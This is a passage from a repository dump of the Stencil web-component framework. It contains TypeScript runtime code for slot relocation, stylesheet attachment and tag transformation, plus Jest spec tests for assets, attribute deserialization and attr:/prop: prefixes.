}\n      }\n    });\n  }\n\n  let i = 0;\n  for (i = 0; i < childNodes.length; i++) {\n    const childNode = childNodes[i] as d.RenderNode;\n    if (childNode.nodeType === NODE_TYPE.ElementNode && internalCall(childNode, 'childNodes').length) {\n      // keep drilling down\n      updateFallbackSlotVisibility(childNode);\n    }\n  }\n};\n\n/**\n * Get's the child nodes of a component that are actually slotted.\n * It does this by using root nodes of a component; for each slotted node there is a\n * corresponding slot location node which points to the slotted node (via `['s-nr']`).\n *\n * This is only required until all patches are unified / switched on all the time (then we can rely on `childNodes`)\n * either under 'experimentalSlotFixes' or on by default\n * @param childNodes all 'internal' child nodes of the component\n * @returns An array of slotted reference nodes.\n */\nexport const getSlottedChildNodes = (childNodes: NodeListOf<ChildNode>): d.PatchedSlotNode[] => {\n  const result: d.PatchedSlotNode[] = [];\n  for (let i = 0; i < childNodes.length; i++) {\n    const slottedNode = ((childNodes[i] as d.RenderNode)['s-nr'] as d.PatchedSlotNode) || undefined;\n    if (slottedNode && slottedNode.isConnected) {\n      result.push(slottedNode);\n    }\n  }\n  return result;\n};\n\n/**\n * Recursively searches a series of child nodes for slot node/s, optionally with a provided slot name.\n * @param childNodes the nodes to search for a slot with a specific name. Should be an element's root nodes.\n * @param hostName the host name of the slot to match on.\n * @param slotName the name of the slot to match on.\n * @returns a reference to the slot node that matches the provided name, `null` otherwise\n */\nexport function getHostSlotNodes(childNodes: NodeListOf<ChildNode>, hostName?: string, slotName?: string) {\n  let i = 0;\n  let slottedNodes: d.RenderNode[] = [];\n  let childNode: d.RenderNode;\n\n  for (; i < childNodes.length; i++) {\n    childNode = childNodes[i] as any;\n    if (\n      childNode['s-sr'] &&\n      (!hostName || childNode['s-hn'] === hostName) &&\n      (slotName === undefined || getSlotName(childNode) === slotName)\n    ) {\n      slottedNodes.push(childNode);\n      if (typeof slotName !== 'undefined') return slottedNodes;\n    }\n    slottedNodes = [...slottedNodes, ...getHostSlotNodes(childNode.childNodes, hostName, slotName)];\n  }\n  return slottedNodes;\n}\n\n/**\n * Get all 'child' sibling nodes of a slot node\n * @param slot - the slot node to get the child nodes from\n * @param slotName - the name of the slot to match on\n * @param includeSlot - whether to include the slot node in the result\n * @returns child nodes of the slot node\n */\nexport const getSlotChildSiblings = (slot: d.RenderNode, slotName: string, includeSlot = true) => {\n  const childNodes: d.RenderNode[] = [];\n  if ((includeSlot && slot['s-sr']) || !slot['s-sr']) childNodes.push(slot as any);\n  let node = slot;\n\n  while ((node = node.nextSibling as any)) {\n    if (getSlotName(node) === slotName && (includeSlot || !node['s-sr'])) childNodes.push(node as any);\n  }\n  return childNodes;\n};\n\n/**\n * Check whether a node is located in a given named slot.\n *\n * @param nodeToRelocate the node of interest\n * @param slotName the slot name to check\n * @returns whether the node is located in the slot or not\n */\nexport const isNodeLocatedInSlot = (nodeToRelocate: d.RenderNode, slotName: string): boolean => {\n  if (nodeToRelocate.nodeType === NODE_TYPE.ElementNode) {\n    if (nodeToRelocate.getAttribute('slot') === null && slotName === '') {\n      // if the node doesn't have a slot attribute, and the slot we're checking\n      // is not a named slot, then we assume the node should be within the slot\n      return true;\n    }\n    if (nodeToRelocate.getAttribute('slot') === slotName) {\n      return true;\n    }\n    return false;\n  }\n  if (nodeToRelocate['s-sn'] === slotName) {\n    return true;\n  }\n  return slotName === '';\n};\n\n/**\n * Creates an empty text node to act as a forwarding address to a slotted node:\n * 1) When non-shadow components re-render, they need a place to temporarily put 'lightDOM' elements.\n * 2) Patched dom methods and accessors use this node to calculate what 'lightDOM' nodes are in the host.\n *\n * @param newChild a node that's going to be added to the component\n * @param slotNode the slot node that the node will be added to\n * @param prepend move the slotted location node to the beginning of the host\n * @param position an ordered position to add the ref node which mirrors the lightDom nodes' order. Used during SSR hydration\n *  (the order of the slot location nodes determines the order of the slotted nodes in our patched accessors)\n */\nexport const addSlotRelocateNode = (\n  newChild: d.PatchedSlotNode,\n  slotNode: d.RenderNode,\n  prepend?: boolean,\n  position?: number,\n) => {\n  if (newChild['s-ol'] && newChild['s-ol'].isConnected) {\n    // newChild already has a slot location node\n    return;\n  }\n\n  const slottedNodeLocation = document.createTextNode('') as any;\n  slottedNodeLocation['s-nr'] = newChild;\n\n  // if there's no content reference node, or parentNode we can't do anything\n  if (!slotNode['s-cr'] || !slotNode['s-cr'].parentNode) return;\n\n  const parent = slotNode['s-cr'].parentNode as any;\n  const appendMethod = prepend ? internalCall(parent, 'prepend') : internalCall(parent, 'appendChild');\n\n  if (BUILD.hydrateClientSide && typeof position !== 'undefined') {\n    slottedNodeLocation['s-oo'] = position;\n    const childNodes = internalCall(parent, 'childNodes') as NodeListOf<d.RenderNode>;\n    const slotRelocateNodes: d.RenderNode[] = [slottedNodeLocation];\n    childNodes.forEach((n) => {\n      if (n['s-nr']) slotRelocateNodes.push(n);\n    });\n\n    slotRelocateNodes.sort((a, b) => {\n      if (!a['s-oo'] || a['s-oo'] < (b['s-oo'] || 0)) return -1;\n      else if (!b['s-oo'] || b['s-oo'] < a['s-oo']) return 1;\n      return 0;\n    });\n    slotRelocateNodes.forEach((n) => appendMethod.call(parent, n));\n  } else {\n    appendMethod.call(parent, slottedNodeLocation);\n  }\n\n  newChild['s-ol'] = slottedNodeLocation;\n  newChild['s-sh'] = slotNode['s-hn'];\n};\n\nexport const getSlotName = (node: d.PatchedSlotNode) =>\n  typeof node['s-sn'] === 'string'\n    ? node['s-sn']\n    : (node.nodeType === 1 && (node as Element).getAttribute('slot')) || undefined;\n\n/**\n * Add `assignedElements` and `assignedNodes` methods on a fake slot node\n *\n * @param node - slot node to patch\n */\nexport function patchSlotNode(node: d.RenderNode) {\n  if ((node as any).assignedElements || (node as any).assignedNodes || !node['s-sr']) return;\n\n  const assignedFactory = (elementsOnly: boolean) =>\n    function (opts?: { flatten: boolean }) {\n      const toReturn: d.RenderNode[] = [];\n      const slotName = this['s-sn'];\n\n      if (opts?.flatten) {\n        console.error(`\n          Flattening is not supported for Stencil non-shadow slots.\n          You can use \\`.childNodes\\` to nested slot fallback content.\n          If you have a particular use case, please open an issue on the Stencil repo.\n        `);\n      }\n\n      const parent = this['s-cr'].parentElement as d.RenderNode;\n      // get all light dom nodes\n      const slottedNodes = parent.__childNodes ? parent.childNodes : getSlottedChildNodes(parent.childNodes);\n\n      (slottedNodes as d.RenderNode[]).forEach((n) => {\n        // find all the nodes assigned to slots we care about\n        if (slotName === getSlotName(n)) {\n          toReturn.push(n);\n        }\n      });\n\n      if (elementsOnly) {\n        return toReturn.filter((n) => n.nodeType === NODE_TYPE.ElementNode);\n      }\n      return toReturn;\n    }.bind(node);\n\n  (node as any).assignedElements = assignedFactory(true);\n  (node as any).assignedNodes = assignedFactory(false);\n}\n\n/**\n * Dispatches a `slotchange` event on a fake `<slot />` node.\n *\n * @param elm the slot node to dispatch the event from\n */\nexport function dispatchSlotChangeEvent(elm: d.RenderNode) {\n  elm.dispatchEvent(new CustomEvent('slotchange', { bubbles: false, cancelable: false, composed: false }));\n}\n\n/**\n * Find the slot node that a slotted node belongs to\n *\n * @param slottedNode - the slotted node to find the slot for\n * @param parentHost - the parent host element of the slotted node\n * @returns the slot node and slot name\n */\nexport function findSlotFromSlottedNode(slottedNode: d.PatchedSlotNode, parentHost?: HTMLElement) {\n  parentHost = parentHost || slottedNode['s-ol']?.parentElement;\n\n  if (!parentHost) return { slotNode: null, slotName: '' };\n\n  const slotName = (slottedNode['s-sn'] = getSlotName(slottedNode) || '');\n  const childNodes = internalCall(parentHost, 'childNodes');\n  const slotNode = getHostSlotNodes(childNodes, parentHost.tagName, slotName)[0];\n  return { slotNode, slotName };\n}\n"
  },
  {
    "path": "src/runtime/styles.ts",
    "content": "import { BUILD } from '@app-data';\nimport {\n  plt,\n  styles,\n  supportsConstructableStylesheets,\n  supportsMutableAdoptedStyleSheets,\n  supportsShadow,\n  win,\n  writeTask,\n} from '@platform';\n\nimport type * as d from '../declarations';\nimport { CMP_FLAGS } from '../utils/constants';\nimport { queryNonceMetaTagContent } from '../utils/query-nonce-meta-tag-content';\nimport { createTime } from './profile';\nimport { HYDRATED_STYLE_ID, NODE_TYPE, SLOT_FB_CSS } from './runtime-constants';\n\nexport const rootAppliedStyles: d.RootAppliedStyleMap = /*@__PURE__*/ new WeakMap();\n\n/**\n * Register the styles for a component by creating a stylesheet and then\n * registering it under the component's scope ID in a `WeakMap` for later use.\n *\n * If constructable stylesheet are not supported or `allowCS` is set to\n * `false` then the styles will be registered as a string instead.\n *\n * @param scopeId the scope ID for the component of interest\n * @param cssText styles for the component of interest\n * @param allowCS whether or not to use a constructable stylesheet\n */\nexport const registerStyle = (scopeId: string, cssText: string, allowCS: boolean) => {\n  let style = styles.get(scopeId);\n  if (supportsConstructableStylesheets && allowCS) {\n    style = (style || new CSSStyleSheet()) as CSSStyleSheet;\n    if (typeof style === 'string') {\n      style = cssText;\n    } else {\n      style.replaceSync(cssText);\n    }\n  } else {\n    style = cssText;\n  }\n  styles.set(scopeId, style);\n};\n\n/**\n * Attach the styles for a given component to the DOM\n *\n * If the element uses shadow or is already attached to the DOM then we can\n * create a stylesheet inside of its associated document fragment, otherwise\n * we'll stick the stylesheet into the document head.\n *\n * @param styleContainerNode the node within which a style element for the\n * component of interest should be added\n * @param cmpMeta runtime metadata for the component of interest\n * @param mode an optional current mode\n * @returns the scope ID for the component of interest\n */\nexport const addStyle = (styleContainerNode: any, cmpMeta: d.ComponentRuntimeMeta, mode?: string) => {\n  const scopeId = getScopeId(cmpMeta, mode);\n  const style = styles.get(scopeId);\n\n  if (!BUILD.attachStyles || !win.document) {\n    return scopeId;\n  }\n  // if an element is NOT connected then getRootNode() will return the wrong root node\n  // so the fallback is to always use the document for the root node in those cases\n  styleContainerNode = styleContainerNode.nodeType === NODE_TYPE.DocumentFragment ? styleContainerNode : win.document;\n\n  if (style) {\n    if (typeof style === 'string') {\n      styleContainerNode = styleContainerNode.head || (styleContainerNode as HTMLElement);\n      let appliedStyles = rootAppliedStyles.get(styleContainerNode);\n      let styleElm;\n      if (!appliedStyles) {\n        rootAppliedStyles.set(styleContainerNode, (appliedStyles = new Set()));\n      }\n\n      // Check if style element already exists (for HMR updates)\n      // For shadow DOM components, directly update their dedicated style element\n      // For scoped components, check if they have their own HMR-created style element\n      const existingStyleElm: HTMLStyleElement =\n        (BUILD.hydrateClientSide || BUILD.hotModuleReplacement) &&\n        styleContainerNode.querySelector(`[${HYDRATED_STYLE_ID}=\"${scopeId}\"]`);\n\n      if (existingStyleElm) {\n        // Update existing style element (for hydration or HMR)\n        existingStyleElm.textContent = style;\n      } else if (!appliedStyles.has(scopeId)) {\n        styleElm = win.document.createElement('style');\n        styleElm.textContent = style;\n\n        // Apply CSP nonce to the style tag if it exists\n        const nonce = plt.$nonce$ ?? queryNonceMetaTagContent(win.document);\n        if (nonce != null) {\n          styleElm.setAttribute('nonce', nonce);\n        }\n\n        if (\n          (BUILD.hydrateServerSide || BUILD.hotModuleReplacement) &&\n          (cmpMeta.$flags$ & CMP_FLAGS.scopedCssEncapsulation ||\n            cmpMeta.$flags$ & CMP_FLAGS.shadowNeedsScopedCss ||\n            cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation)\n        ) {\n          styleElm.setAttribute(HYDRATED_STYLE_ID, scopeId);\n        }\n\n        /**\n         * attach styles at the end of the head tag if we render scoped components\n         */\n        if (!(cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation)) {\n          if (styleContainerNode.nodeName === 'HEAD') {\n            /**\n             * if the page contains preconnect links, we want to insert the styles\n             * after the last preconnect link to ensure the styles are preloaded\n             */\n            const preconnectLinks = styleContainerNode.querySelectorAll('link[rel=preconnect]');\n            const referenceNode =\n              preconnectLinks.length > 0\n                ? preconnectLinks[preconnectLinks.length - 1].nextSibling\n                : styleContainerNode.querySelector('style');\n            (styleContainerNode as HTMLElement).insertBefore(\n              styleElm,\n              referenceNode?.parentNode === styleContainerNode ? referenceNode : null,\n            );\n          } else if ('host' in styleContainerNode) {\n            if (supportsConstructableStylesheets) {\n              /**\n               * If a scoped component is used within a shadow root then turn the styles into a\n               * constructable stylesheet and add it to the shadow root's adopted stylesheets.\n               *\n               * Note: order of how styles are adopted is important. The new stylesheet should be\n               * adopted before the existing styles.\n               *\n               * Note: constructable stylesheets can't be shared between windows,\n               * we need to create a new one for the current window if necessary\n               */\n              const currentWindow = styleContainerNode.defaultView ?? styleContainerNode.ownerDocument.defaultView;\n              const stylesheet = new currentWindow.CSSStyleSheet();\n              stylesheet.replaceSync(style);\n\n              /**\n               * > If the array needs to be modified, use in-place mutations like push().\n               * https://developer.mozilla.org/en-US/docs/Web/API/Document/adoptedStyleSheets\n               */\n              if (supportsMutableAdoptedStyleSheets) {\n                styleContainerNode.adoptedStyleSheets.unshift(stylesheet);\n              } else {\n                styleContainerNode.adoptedStyleSheets = [stylesheet, ...styleContainerNode.adoptedStyleSheets];\n              }\n            } else {\n              /**\n               * If a scoped component is used within a shadow root and constructable stylesheets are\n               * not supported, we want to insert the styles at the beginning of the shadow root node.\n               *\n               * However, if there is already a style node in the shadow root, we just append\n               * the styles to the existing node.\n               *\n               * Note: order of how styles are applied is important. The new style node\n               * should be inserted before the existing style node.\n               *\n               * During HMR, create separate style elements for scoped components so they can be\n               * updated independently without affecting other components' styles.\n               */\n              const existingStyleContainer: HTMLStyleElement = styleContainerNode.querySelector('style');\n              if (existingStyleContainer && !BUILD.hotModuleReplacement) {\n                existingStyleContainer.textContent = style + existingStyleContainer.textContent;\n              } else {\n                (styleContainerNode as HTMLElement).prepend(styleElm);\n              }\n            }\n          } else {\n            styleContainerNode.append(styleElm);\n          }\n        }\n\n        /**\n         * attach styles at the beginning of a shadow root node if we render shadow components\n         */\n        if (cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) {\n          styleContainerNode.insertBefore(styleElm, null);\n        }\n\n        // Add styles for `slot-fb` elements if we're using slots outside the Shadow DOM\n        if (cmpMeta.$flags$ & CMP_FLAGS.hasSlotRelocation) {\n          styleElm.textContent += SLOT_FB_CSS;\n        }\n\n        if (appliedStyles) {\n          appliedStyles.add(scopeId);\n        }\n      }\n    } else if (BUILD.constructableCSS) {\n      let appliedStyles = rootAppliedStyles.get(styleContainerNode);\n      if (!appliedStyles) {\n        rootAppliedStyles.set(styleContainerNode, (appliedStyles = new Set()));\n      }\n      if (!appliedStyles.has(scopeId)) {\n        /**\n         * Constructable stylesheets can't be shared between windows,\n         * we need to create a new one for the current window if necessary\n         */\n        const currentWindow = styleContainerNode.defaultView ?? styleContainerNode.ownerDocument.defaultView;\n        let stylesheet: CSSStyleSheet;\n        if (style.constructor === currentWindow.CSSStyleSheet) {\n          stylesheet = style;\n        } else {\n          stylesheet = new currentWindow.CSSStyleSheet();\n          for (let i = 0; i < style.cssRules.length; i++) {\n            stylesheet.insertRule(style.cssRules[i].cssText, i);\n          }\n        }\n        /**\n         * > If the array needs to be modified, use in-place mutations like push().\n         * https://developer.mozilla.org/en-US/docs/Web/API/Document/adoptedStyleSheets\n         */\n        if (supportsMutableAdoptedStyleSheets) {\n          styleContainerNode.adoptedStyleSheets.push(stylesheet);\n        } else {\n          styleContainerNode.adoptedStyleSheets = [...styleContainerNode.adoptedStyleSheets, stylesheet];\n        }\n\n        appliedStyles.add(scopeId);\n\n        // Remove SSR style element from shadow root now that adoptedStyleSheets is in use\n        // Only remove from shadow roots, not from document head (for scoped components)\n        if (BUILD.hydrateClientSide && 'host' in styleContainerNode) {\n          const ssrStyleElm = styleContainerNode.querySelector(`[${HYDRATED_STYLE_ID}=\"${scopeId}\"]`);\n          if (ssrStyleElm) {\n            writeTask(() => ssrStyleElm.remove());\n          }\n        }\n      }\n    }\n  }\n  return scopeId;\n};\n\n/**\n * Add styles for a given component to the DOM, optionally handling 'scoped'\n * encapsulation by adding an appropriate class name to the host element.\n *\n * @param hostRef the host reference for the component of interest\n */\nexport const attachStyles = (hostRef: d.HostRef) => {\n  const cmpMeta = hostRef.$cmpMeta$;\n  const elm = hostRef.$hostElement$;\n  const flags = cmpMeta.$flags$;\n  const endAttachStyles = createTime('attachStyles', cmpMeta.$tagName$);\n  const scopeId = addStyle(\n    BUILD.shadowDom && supportsShadow && elm.shadowRoot ? elm.shadowRoot : (elm.getRootNode() as ShadowRoot),\n    cmpMeta,\n    hostRef.$modeName$,\n  );\n\n  if ((BUILD.shadowDom || BUILD.scoped) && BUILD.cssAnnotations && flags & CMP_FLAGS.needsScopedEncapsulation) {\n    // only required when we're NOT using native shadow dom (slot)\n    // or this browser doesn't support native shadow dom\n    // and this host element was NOT created with SSR\n    // let's pick out the inner content for slot projection\n    // create a node to represent where the original\n    // content was first placed, which is useful later on\n    // DOM WRITE!!\n    elm['s-sc'] = scopeId;\n    elm.classList.add(scopeId + '-h');\n  }\n  endAttachStyles();\n};\n\n/**\n * Get the scope ID for a given component\n *\n * @param cmp runtime metadata for the component of interest\n * @param mode the current mode (optional)\n * @returns a scope ID for the component of interest\n */\nexport const getScopeId = (cmp: d.ComponentRuntimeMeta, mode?: string) =>\n  'sc-' + (BUILD.mode && mode && cmp.$flags$ & CMP_FLAGS.hasMode ? cmp.$tagName$ + '-' + mode : cmp.$tagName$);\n\n/**\n * Convert a 'scoped' CSS string to one appropriate for use in the shadow DOM.\n *\n * Given a 'scoped' CSS string that looks like this:\n *\n * ```\n * /*!@div*\\/div.class-name { display: flex };\n * ```\n *\n * Convert it to a 'shadow' appropriate string, like so:\n *\n * ```\n *  /*!@div*\\/div.class-name { display: flex }\n *      ─┬─                  ────────┬────────\n *       │                           │\n *       │         ┌─────────────────┘\n *       ▼         ▼\n *      div{ display: flex }\n * ```\n *\n * Note that forward-slashes in the above are escaped so they don't end the\n * comment.\n *\n * @param css a CSS string to convert\n * @returns the converted string\n */\nexport const convertScopedToShadow = (css: string) => css.replace(/\\/\\*!@([^\\/]+)\\*\\/[^\\{]+\\{/g, '$1{');\n\n/**\n * Hydrate styles after SSR for components *not* using DSD. Convert 'scoped' styles to 'shadow'\n * and add them to a constructable stylesheet.\n */\nexport const hydrateScopedToShadow = () => {\n  if (!win.document) {\n    return;\n  }\n\n  const styles = win.document.querySelectorAll(`[${HYDRATED_STYLE_ID}]`);\n  let i = 0;\n  for (; i < styles.length; i++) {\n    registerStyle(styles[i].getAttribute(HYDRATED_STYLE_ID), convertScopedToShadow(styles[i].innerHTML), true);\n  }\n};\n\ndeclare global {\n  export interface CSSStyleSheet {\n    replaceSync(cssText: string): void;\n    replace(cssText: string): Promise<CSSStyleSheet>;\n  }\n}\n"
  },
  {
    "path": "src/runtime/tag-transform.ts",
    "content": "import type * as d from '../declarations';\n\nexport let tagTransformer: d.TagTransformer | undefined = undefined;\n\n/**\n * Transforms a tag name using the current tag transformer\n * @param tag - the tag to transform e.g. `my-tag`\n * @returns the transformed tag e.g. `new-my-tag`\n */\nexport function transformTag<T extends string>(tag: T): T {\n  if (!tagTransformer) return tag;\n  return tagTransformer(tag) as T;\n}\n\n/**\n * Sets the tag transformer to be used when rendering custom elements\n * @param transformer the transformer function to use. Must return a string\n */\nexport function setTagTransformer(transformer: d.TagTransformer) {\n  if (tagTransformer) {\n    console.warn(`\n      A tagTransformer has already been set. \n      Overwriting it may lead to error and unexpected results if your components have already been defined.\n    `);\n  }\n  tagTransformer = transformer;\n}\n"
  },
  {
    "path": "src/runtime/test/assets.spec.tsx",
    "content": "import { getAssetPath } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\nimport { CmpAsset } from './fixtures/cmp-asset';\n\ndescribe('assets', () => {\n  it('should load asset data', async () => {\n    const page = await newSpecPage({\n      components: [CmpAsset],\n      html: `<cmp-asset icon=\"delorean\"></cmp-asset>`,\n    });\n\n    expect(page.root).toEqualHtml(`\n      <cmp-asset icon=\"delorean\">\n        <img src=\"/assets/icons/delorean.png\">\n        <img src=\"https://google.com/\">\n      </cmp-asset>\n    `);\n  });\n\n  it('getAssetPath is defined', async () => {\n    expect(getAssetPath).toBeDefined();\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/attr-deserialize.spec.tsx",
    "content": "import { AttrDeserialize, Component, Element, Prop, State } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\nimport { withSilentWarn } from '../../testing/testing-utils';\n\ndescribe('attribute deserialization', () => {\n  it('deserializer is called each time a attribute changes', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      method1Called = 0;\n      method2Called = 0;\n\n      @Prop() prop1 = 1;\n      @State() someState = 'hello';\n\n      @AttrDeserialize('prop1')\n      @AttrDeserialize('someState')\n      method1(newValue: any) {\n        this.method1Called++;\n        return newValue;\n      }\n\n      @AttrDeserialize('prop1')\n      method2(newValue: any) {\n        this.method2Called++;\n        return newValue;\n      }\n\n      componentDidLoad() {\n        // deserializer called during component load as prop is set via attribute\n        expect(this.method1Called).toBe(1);\n        expect(this.method2Called).toBe(1);\n        expect(this.prop1).toBe(123);\n        expect(this.someState).toBe('hello');\n      }\n    }\n\n    const { root, rootInstance, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a prop-1=\"123\"></cmp-a>`,\n    });\n    jest.spyOn(rootInstance, 'method1');\n    jest.spyOn(rootInstance, 'method2');\n\n    // spies were wired up after initial load\n    expect(rootInstance.method1Called).toBe(1);\n    expect(rootInstance.method2Called).toBe(1);\n\n    // prop changes should not call deserializers\n    root.prop1 = 100;\n    await waitForChanges();\n\n    expect(rootInstance.method1Called).toBe(1);\n    expect(rootInstance.method2Called).toBe(1);\n\n    // attribute change\n    root.setAttribute('prop-1', '200');\n    await waitForChanges();\n\n    expect(rootInstance.method1Called).toBe(2);\n    expect(rootInstance.method2Called).toBe(2);\n    expect(rootInstance.method1).toHaveBeenLastCalledWith('200', 'prop1');\n    expect(rootInstance.method2).toHaveBeenLastCalledWith('200', 'prop1');\n    expect(root.prop1).toBe(200);\n\n    // deserializer should not be called on state change\n    rootInstance.someState = 'bye';\n    await waitForChanges();\n\n    expect(rootInstance.method1Called).toBe(2);\n    expect(rootInstance.method2Called).toBe(2);\n  });\n\n  it('should watch for changes correctly', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      watchCalled = 0;\n      @Element() host!: HTMLElement;\n\n      @Prop() prop = 10;\n      @Prop() value = 10;\n\n      @AttrDeserialize('prop')\n      @AttrDeserialize('value')\n      method() {\n        this.watchCalled++;\n      }\n\n      componentWillLoad() {\n        // deserializer called during component load as prop is set via attribute\n        expect(this.watchCalled).toBe(1);\n        this.host.setAttribute('prop', '1');\n        expect(this.watchCalled).toBe(2);\n        this.host.setAttribute('value', '1');\n        expect(this.watchCalled).toBe(3);\n      }\n\n      componentDidLoad() {\n        expect(this.watchCalled).toBe(3);\n        // setting the same value should not trigger the deserializer\n        this.host.setAttribute('prop', '1');\n        this.host.setAttribute('value', '1');\n        expect(this.watchCalled).toBe(3);\n        this.host.setAttribute('prop', '20');\n        this.host.setAttribute('value', '30');\n        expect(this.watchCalled).toBe(5);\n      }\n    }\n\n    const { root, rootInstance } = await withSilentWarn(() =>\n      newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a prop=\"123\"></cmp-a>`,\n      }),\n    );\n\n    expect(rootInstance.watchCalled).toBe(5);\n    jest.spyOn(rootInstance, 'method');\n\n    // trigger updates in element\n    root.setAttribute('prop', '1000');\n    expect(rootInstance.method).toHaveBeenLastCalledWith('1000', 'prop');\n\n    root.setAttribute('value', '1300');\n    expect(rootInstance.method).toHaveBeenLastCalledWith('1300', 'value');\n  });\n\n  it('deserializer correctly changes the property', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop({ reflect: true }) prop1 = 1;\n      @Prop() jsonProp = { a: 1, b: 'hello' };\n\n      @AttrDeserialize('prop1')\n      method1(newValue: any) {\n        if (newValue === 'something') {\n          return 1000;\n        }\n        return newValue;\n      }\n\n      @AttrDeserialize('jsonProp')\n      method2(newValue: any) {\n        try {\n          return JSON.parse(newValue);\n        } catch (e) {\n          return newValue;\n        }\n      }\n    }\n\n    const { root, rootInstance, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n    jest.spyOn(rootInstance, 'method1');\n    jest.spyOn(rootInstance, 'method2');\n\n    // set same values, deserializer should not be called ('cos the prop is reflected)\n    root.setAttribute('prop-1', '1');\n    expect(rootInstance.method1).toHaveBeenCalledTimes(0);\n    expect(rootInstance.method2).toHaveBeenCalledTimes(0);\n    expect(root.prop1).toBe(1);\n\n    // set different values\n    root.setAttribute('prop-1', '100');\n    await waitForChanges();\n\n    expect(rootInstance.method1).toHaveBeenCalledTimes(1);\n    expect(root.prop1).toBe(100);\n\n    // special handling by deserializer\n    root.setAttribute('prop-1', 'something');\n    await waitForChanges();\n\n    // because the special handling returns a different value (1000) and the prop is reflected\n    // the deserializer is called again to reflect the new value\n    expect(rootInstance.method1).toHaveBeenCalledTimes(3);\n    expect(root.prop1).toBe(1000);\n\n    root.setAttribute('json-prop', '{\"a\":99,\"b\":\"bye\"}');\n    await waitForChanges();\n\n    expect(rootInstance.method2).toHaveBeenCalledTimes(1);\n    expect(root.jsonProp).toEqual({ a: 99, b: 'bye' });\n\n    root.setAttribute('json-prop', '[\"item1\",\"item2\",\"item3\"]');\n    await waitForChanges();\n\n    expect(rootInstance.method2).toHaveBeenCalledTimes(2);\n    expect(root.jsonProp).toEqual(['item1', 'item2', 'item3']);\n\n    const invalidJson = '{\"invalid\": json}';\n    root.setAttribute('json-prop', invalidJson);\n    await waitForChanges();\n\n    expect(rootInstance.method2).toHaveBeenCalledTimes(3);\n    expect(root.jsonProp).toEqual(invalidJson);\n\n    const regularString = 'hello world';\n    root.setAttribute('json-prop', regularString);\n    await waitForChanges();\n\n    expect(rootInstance.method2).toHaveBeenCalledTimes(4);\n    expect(root.jsonProp).toEqual(regularString);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/attr-prop-prefix.spec.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('attr: and prop: prefix', () => {\n  describe('attr: prefix', () => {\n    it('should set attribute using attr: prefix', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          return <div attr:something=\"test label\" />;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      const div = root.querySelector('div');\n      expect(div.getAttribute('something')).toBe('test label');\n    });\n\n    it('should set numeric and stringified values as attributes', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          return <div attr:something-else=\"button\" attr:a-number=\"0\" />;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      const div = root.querySelector('div');\n      expect(div.getAttribute('something-else')).toBe('button');\n      expect(div.getAttribute('a-number')).toBe('0');\n    });\n\n    it('should set boolean true as empty string attribute', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          return <div attr:boolean={true} />;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      const div = root.querySelector('div');\n      expect(div.getAttribute('boolean')).toBe('');\n      expect(div.hasAttribute('boolean')).toBe(true);\n    });\n\n    it('should remove attribute when value is false', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @Prop() show = false;\n        render() {\n          return <div attr:boolean={this.show} />;\n        }\n      }\n\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      const div = root.querySelector('div');\n      expect(div.hasAttribute('boolean')).toBe(false);\n\n      root.show = true;\n      await waitForChanges();\n      expect(div.getAttribute('boolean')).toBe('');\n      root.show = false;\n      await waitForChanges();\n      expect(div.hasAttribute('boolean')).toBe(false);\n    });\n\n    it('should force attribute even for properties that exist on element', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          return <input attr:value=\"500px\" type=\"text\" />;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      const input = root.querySelector('input');\n      expect(input.getAttribute('value')).toBe('500px');\n      expect(input.value).toBe('500px'); // property remains unset\n    });\n\n    it('should update attribute on re-render', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @Prop() label = 'initial';\n        render() {\n          return <div attr:some-label={this.label} />;\n        }\n      }\n\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      const div = root.querySelector('div');\n      expect(div.getAttribute('some-label')).toBe('initial');\n\n      root.label = 'updated';\n      await waitForChanges();\n      expect(div.getAttribute('some-label')).toBe('updated');\n    });\n\n    it('should use the correct attribute name for camelCase properties on Stencil components', async () => {\n      @Component({ tag: 'cmp-child' })\n      class CmpChild {\n        @Prop() overlayIndex: number;\n        @Prop({ attribute: 'custom-attr-name' }) customAttr: string;\n        render() {\n          return (\n            <div>\n              overlayIndex: {this.overlayIndex}, customAttr: {this.customAttr}\n            </div>\n          );\n        }\n      }\n\n      @Component({ tag: 'cmp-parent' })\n      class CmpParent {\n        render() {\n          return (\n            <div>\n              <cmp-child attr:overlayIndex={42} attr:customAttr=\"test\" />\n            </div>\n          );\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpParent, CmpChild],\n        html: `<cmp-parent></cmp-parent>`,\n      });\n\n      const child = root.querySelector('cmp-child');\n      // Should use kebab-case attribute name from metadata\n      